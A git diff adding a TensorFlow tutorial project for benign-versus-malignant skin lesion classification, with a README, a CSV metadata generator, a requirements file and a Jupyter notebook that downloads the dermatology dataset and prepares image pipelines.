b/machine-learning/skin-cancer-detection/README.md new file mode 100644 index 00000000..7cba8558 --- /dev/null +++ b/machine-learning/skin-cancer-detection/README.md @@ -0,0 +1,7 @@ +# [Skin Cancer Detection using TensorFlow in Python](https://www.thepythoncode.com/article/skin-cancer-detection-using-tensorflow-in-python) +To follow along, run: +- `pip3 install -r requirements.txt` + +Full code is at: +- Notebook: `skin-cancer-detection.ipynb` +- Script: `skin-cancer-detection.py` \ No newline at end of file diff --git a/machine-learning/skin-cancer-detection/generate_metadata.py b/machine-learning/skin-cancer-detection/generate_metadata.py new file mode 100644 index 00000000..31b9bd19 --- /dev/null +++ b/machine-learning/skin-cancer-detection/generate_metadata.py @@ -0,0 +1,46 @@ +import glob +import os +import argparse + +import pandas as pd + + +def generate_csv(folder, labels): + folder_name = os.path.basename(folder) + # convert comma separated labels into a list + label2int = {} + if labels: + labels = labels.split(",") + for label in labels: + string_label, integer_label = label.split("=") + label2int[string_label] = integer_label + + labels = list(label2int) + # generate CSV file + df = pd.DataFrame(columns=["filepath", "label"]) + i = 0 + for label in labels: + print("Reading", os.path.join(folder, label, "*")) + for filepath in glob.glob(os.path.join(folder, label, "*")): + df.loc[i] = [filepath, label2int[label]] + i += 1 + + df.to_csv(f"{folder_name}.csv") + + + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description="CSV Metadata generator for skin cancer dataset from ISIC") + parser.add_argument("-f", "--folder", help="Dataset portion folder, e.g: /root/skin-disease/test and not the whole dataset", + required=True) + parser.add_argument("-l", "--labels", help="The different skin disease classes along with label encoding separated in commas, \ + e.g: Binary classification between malignant and benign categories, something like this: \ + nevus=0,seborrheic_keratosis=0,melanoma=1", + required=True) + # parse arguments + args = parser.parse_args() + folder = args.folder + labels = args.labels + # generate the CSV file + generate_csv(folder, labels) + diff --git a/machine-learning/skin-cancer-detection/requirements.txt b/machine-learning/skin-cancer-detection/requirements.txt new file mode 100644 index 00000000..feb07c84 --- /dev/null +++ b/machine-learning/skin-cancer-detection/requirements.txt @@ -0,0 +1,8 @@ +tensorflow +tensorflow_hub +matplotlib +numpy +pandas +seaborn +sklearn +imblearn \ No newline at end of file diff --git a/machine-learning/skin-cancer-detection/skin-cancer-detection.ipynb b/machine-learning/skin-cancer-detection/skin-cancer-detection.ipynb new file mode 100644 index 00000000..9b6c6d1f --- /dev/null +++ b/machine-learning/skin-cancer-detection/skin-cancer-detection.ipynb @@ -0,0 +1,1313 @@ +{ + "cells": [ + { + "cell_type": "code", + "execution_count": 1, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "N8Akx754oL8A", + "outputId": "f9d76e11-7a0a-49b8-f6c2-4c86dbdbf862" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Downloading data from https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/valid.zip\n", + "864538487/864538487 [==============================] - 56s 0us/step\n", + "Extracting https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/valid.zip\n", + "Downloading data from https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/train.zip\n", + "5736557430/5736557430 [==============================] - 489s 0us/step\n", + "Extracting https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/train.zip\n", + "Downloading data from https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/test.zip\n", + "5528640507/5528640507 [==============================] - 448s 0us/step\n", + "Extracting https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/test.zip\n" + ] + } + ], + "source": [ + "import tensorflow as tf\n", + "import tensorflow_hub as hub\n", + "import matplotlib.pyplot as plt\n", + "import numpy as np\n", + "import pandas as pd\n", + "import seaborn as sns\n", + "from tensorflow.keras.utils import get_file\n", + "from sklearn.metrics import roc_curve, auc, confusion_matrix\n", + "from imblearn.metrics import sensitivity_score, specificity_score\n", + "\n", + "import os\n", + "import glob\n", + "import zipfile\n", + "import random\n", + "\n", + "# to get consistent results after multiple runs\n", + "tf.random.set_seed(7)\n", + "np.random.seed(7)\n", + "random.seed(7)\n", + "\n", + "# 0 for benign, 1 for malignant\n", + "class_names = [\"benign\", \"malignant\"]\n", + "\n", + "\n", + "def download_and_extract_dataset():\n", + " # dataset from https://github.com/udacity/dermatologist-ai\n", + " # 5.3GB\n", + " train_url = \"https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/train.zip/"\n", + " # 824.5MB\n", + " valid_url = \"https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/valid.zip/"\n", + " # 5.1GB\n", + " test_url = \"https://s3-us-west-1.amazonaws.com/udacity-dlnfd/datasets/skin-cancer/test.zip/"\n", + " for i, download_link in enumerate([valid_url, train_url, test_url]):\n", + " temp_file = f\"temp{i}.zip\"\n", + " data_dir = get_file(origin=download_link, fname=os.path.join(os.getcwd(), temp_file))\n", + " print(\"Extracting\", download_link)\n", + " with zipfile.ZipFile(data_dir, \"r\") as z:\n", + " z.extractall(\"data\")\n", + " # remove the temp file\n", + " os.remove(temp_file)\n", + "\n", + "# comment the below line if you already downloaded the dataset\n", + "download_and_extract_dataset()" + ] + }, + { + "cell_type": "code", + "execution_count": 2, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "F1rReUjnoQdQ", + "outputId": "33322aa4-3680-40c6-869d-d49efbb39b81" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Reading data/train/nevus/*\n", + "Reading data/train/seborrheic_keratosis/*\n", + "Reading data/train/melanoma/*\n", + "Saving train.csv\n", + "Reading data/valid/nevus/*\n", + "Reading data/valid/seborrheic_keratosis/*\n", + "Reading data/valid/melanoma/*\n", + "Saving valid.csv\n", + "Reading data/test/nevus/*\n", + "Reading data/test/seborrheic_keratosis/*\n", + "Reading data/test/melanoma/*\n", + "Saving test.csv\n" + ] + } + ], + "source": [ + "# preparing data\n", + "# generate CSV metadata file to read img paths and labels from it\n", + "def generate_csv(folder, label2int):\n", + " folder_name = os.path.basename(folder)\n", + " labels = list(label2int)\n", + " # generate CSV file\n", + " df = pd.DataFrame(columns=[\"filepath\", \"label\"])\n", + " i = 0\n", + " for label in labels:\n", + " print(\"Reading\", os.path.join(folder, label, \"*\"))\n", + " for filepath in glob.glob(os.path.join(folder, label, \"*\")):\n", + " df.loc[i] = [filepath, label2int[label]]\n", + " i += 1\n", + " output_file = f\"{folder_name}.csv\"\n", + " print(\"Saving\", output_file)\n", + " df.to_csv(output_file)\n", + "\n", + "# generate CSV files for all data portions, labeling nevus and seborrheic keratosis\n", + "# as 0 (benign), and melanoma as 1 (malignant)\n", + "# you should replace \"data\" path to your extracted dataset path\n", + "# don't replace if you used download_and_extract_dataset() function\n", + "generate_csv(\"data/train\", {\"nevus\": 0, \"seborrheic_keratosis\": 0, \"melanoma\": 1})\n", + "generate_csv(\"data/valid\", {\"nevus\": 0, \"seborrheic_keratosis\": 0, \"melanoma\": 1})\n", + "generate_csv(\"data/test\", {\"nevus\": 0, \"seborrheic_keratosis\": 0, \"melanoma\": 1})" + ] + }, + { + "cell_type": "code", + "execution_count": 3, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "lQoAcq2xobGA", + "outputId": "2118e9ab-4bab-4f20-a61e-9a5ace18ce1b" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Number of training samples: 2000\n", + "Number of validation samples: 150\n" + ] + } + ], + "source": [ + "# loading data\n", + "train_metadata_filename = \"train.csv\"\n", + "valid_metadata_filename = \"valid.csv\"\n", + "# load CSV files as DataFrames\n", + "df_train = pd.read_csv(train_metadata_filename)\n", + "df_valid = pd.read_csv(valid_metadata_filename)\n", + "n_training_samples = len(df_train)\n", + "n_validation_samples = len(df_valid)\n", + "print(\"Number of training samples:\", n_training_samples)\n", + "print(\"Number of validation samples:\", n_validation_samples)\n", + "train_ds = tf.data.Dataset.from_tensor_slices((df_train[\"filepath\"], df_train[\"label\"]))\n", + "valid_ds = tf.data.Dataset.from_tensor_slices((df_valid[\"filepath\"], df_valid[\"label\"]))" + ] + }, + { + "cell_type": "code", + "execution_count": 4, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "xeC2ooEJodFF", + "outputId": "b13fe41a-2f0b-4c1c-83d8-e70ee79c7b9d" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Image shape: (299, 299, 3)\n", + "Label: 0\n" + ] + } + ], + "source": [ + "# preprocess data\n", + "def decode_img(img):\n", + " # convert the compressed string to a 3D uint8 tensor\n", + " img = tf.image.decode_jpeg(img, channels=3)\n", + " # Use `convert_image_dtype` to convert to floats in the [0,1] range.\n", + " img = tf.image.convert_image_dtype(img, tf.float32)\n", + " # resize the image to the desired size.\n", + " return tf.image.resize(img, [299, 299])\n", + "\n", + "\n", + "def process_path(filepath, label):\n", + " # load the raw data from the file as a string\n", + " img = tf.io.read_file(filepath)\n", + " img = decode_img(img)\n", + " return img, label\n", + "\n", + "\n", + "valid_ds = valid_ds.map(process_path)\n", + "train_ds = train_ds.map(process_path)\n", + "# test_ds = test_ds\n", + "for image, label in train_ds.take(1):\n", + " print(\"Image shape:\", image.shape)\n", + " print(\"Label:\", label.numpy())" + ] + }, + { + "cell_type": "code", + "execution_count": 5, + "metadata": { + "id": "HTOYEZK3ogUP" + }, + "outputs": [], + "source": [ + "# training parameters\n", + "batch_size = 64\n", + "optimizer = \"rmsprop\"" + ] + }, + { + "cell_type": "code", + "execution_count": 6, + "metadata": { + "id": "iG71Bw2EohfN" + }, + "outputs": [], + "source": [ + "def prepare_for_training(ds, cache=True, batch_size=64, shuffle_buffer_size=1000):\n", + " if cache:\n", + " if isinstance(cache, str):\n", + " ds = ds.cache(cache)\n", + " else:\n", + " ds = ds.cache()\n", + " # shuffle the dataset\n", + " ds = ds.shuffle(buffer_size=shuffle_buffer_size)\n", + "\n", + " # Repeat forever\n", + " ds = ds.repeat()\n", + " # split to batches\n", + " ds = ds.batch(batch_size)\n", + "\n", + " # `prefetch` lets the dataset fetch batches in the background while the model\n", + " # is training.\n", + " ds = ds.prefetch(buffer_size=tf.data.experimental.AUTOTUNE)\n", + "\n", + " return ds\n", + "\n", + "\n", + "valid_ds = prepare_for_training(valid_ds, batch_size=batch_size, cache=\"valid-cached-data\")\n", + "train_ds = prepare_for_training(train_ds, batch_size=batch_size, cache=\"train-cached-data\")" + ] + }, + { + "cell_type": "code", + "execution_count": 7, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 699 + }, + "id": "nNsK1uemoi7C", + "outputId": "98e375fc-0260-49c7-f1e9-2d281c3255b6" + }, + "outputs": [ + { + "data": { + "image/png": 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